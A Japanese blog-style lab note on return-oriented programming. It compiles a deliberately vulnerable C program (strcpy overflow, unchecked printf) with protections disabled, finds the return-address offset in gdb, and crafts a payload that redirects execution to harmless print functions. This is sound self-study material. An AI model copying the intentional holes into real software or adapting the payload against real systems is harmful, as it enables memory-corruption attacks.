Return oriented Programing 検証

ROP検証 以下の環境、コードで検証

■環境
・Ubuntu2204
・gccの32ビットコンパイルのため以下をインストール
 sudo apt install libc6-dev-i386
・コンパイル
 gcc -m32 -fno-stack-protector -z execstack rop.c -o rop.out
・gdbによる分析

  1. gdb rop.out
  2. run 123 一度実行しておく
  3. disas main ➡vulnerable関数終了後の実行アドレスを確認しておく
  4. disas vulnerable ➡strcpy関数終了後の次の実行アドレスを確認しBreakポイントにする
  5. b *0x5555555551fa
  6. run 11111111112222222222333333333344 ➡32バイトを超えるとエラーになることがわかる。
  7. run 111111111122222222223333333333445555 
    ➡info frameでリターンアドレスであるsaved eipが32バイトあとの4バイトであることを突き止める
  8. rop1,rop2,rop3の関数を確認する
    p rop1 ➡0x5655620d
    p rop2 ➡0x5655623c
    p rop3 ➡0x5655626b
  9. 攻撃ペイロードの構築
    ./rop.out $(python -c ‘print(“A”*32 + “\x3c\x62\x55\x56\x6b\x62\x55\x56”)’)

    ★これを実行するとrop2,rop3が実行される。
    rop1はアドレスに0dが入っているため、データ入力の際に改行と判断されてしまい、うまく注入できなかったのでrop2,rop3を呼び出した。

※Windowsだと
 rop1 0x401410
 rop2 0x401425
 rop3 0x40143a
WindowsだとPythonのPrint関数を使ってデータを送り込めないのでファイルを読み込む方式に変更。rop1は呼び出せたが、アドレスが00が入るので続いてrop2,rop3を呼べなかった。

#include <stdio.h>
#include <string.h>

void rop1() 
{
    printf("ROP 1!\n");
}

void rop2() {
    printf("ROP 2!\n");
}

void rop3() {
    printf("ROP 3!\n");
}

void vulnerable(char* string) 
{
    char buffer[20];
    strcpy(buffer, string);
}

int main(int argc, char** argv) 
{
    vulnerable(argv[1]);
    printf(argv[1]);
    return 0;
}

コメントをどうぞ